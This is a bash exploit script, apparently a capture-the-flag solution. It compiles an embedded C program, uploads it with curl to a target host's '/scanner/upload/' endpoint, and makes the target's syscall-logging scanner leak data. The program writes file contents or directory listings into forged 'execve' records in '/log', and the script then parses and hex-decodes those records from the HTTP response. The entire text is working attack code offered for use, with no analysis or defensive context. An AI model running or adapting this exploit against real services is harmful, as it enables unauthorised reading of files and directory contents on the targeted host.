#!/usr/bin/env bash

function help() {
        echo "[!] Usage: bash $0 <host> <f|d> <path-to-file|dir>"
        exit 1
}

host=$1

if [ "$2" = "f" ]; then
        do_read_file=1
        file=$3
elif [ "$2" = "d" ]; then
				do_read_file=0
        dir=$3
else
        help
fi

gcc -o exploit -xc - <<- __EOF__
#include <dirent.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

typedef struct __attribute__((__packed__)) {
  unsigned long rax;
  unsigned long rdi;
  unsigned long rsi;
  unsigned long rdx;
  unsigned long r10;
  unsigned long r8;
  unsigned long r9;
  unsigned long ret;
} registers;

void log_syscall(unsigned long ret) {
  registers result;

  result.rax = 0x3b;
  result.rdi = 0;
  result.rsi = 0;
  result.rdx = 0;
  result.r10 = 0;
  result.r8 = 0;
  result.r9 = 0;
  result.ret = ret;

  int fd = open("/log", O_CREAT|O_RDWR|O_APPEND, 0777);

  if (fd == -1) {
    return;
  }

  write(fd, &result, sizeof(registers));
  close(fd);
}

void read_file(char* path) {
  unsigned long ret = 0l;
  char ret_string[8] = {0, 0, 0, 0, 0, 0, 0, 0};
  int fd = open(path, O_RDONLY);

  while (read(fd, ret_string, 8)) {
    ret = 0l;

    for (int i = 0; i < 8; i++) {
      ret <<= 8;
      ret += ret_string[i];
      ret_string[i] = 0;
    }

    log_syscall(ret);
  }

  close(fd);
}

int main() {
  DIR* dr;
  struct dirent *de;
  FILE* fp;
  int do_read_file = $do_read_file;

  if (do_read_file) {
    read_file("$file");
    return 0;
  }

  fp = fopen("tmp_file", "wb");
  dr = opendir("$dir");

  while ((de = readdir(dr)) != NULL) {
    fprintf(fp, "%s\n", de->d_name);
  }

  closedir(dr);
  fclose(fp);

  read_file("tmp_file");
  return 0;
}
__EOF__

res=$(curl $host/scanner/upload/ -sLF file=@exploit)

hex=$(echo "$res" \
        | grep execve \
        | awk -F = '{ print $3 }' \
        | sed 's/<\/pre>//g' \
        | awk -F x '{ printf "%16s\n", $2 }' \
        | tr ' ' 0)

echo "$hex" | xxd -r -p
echo
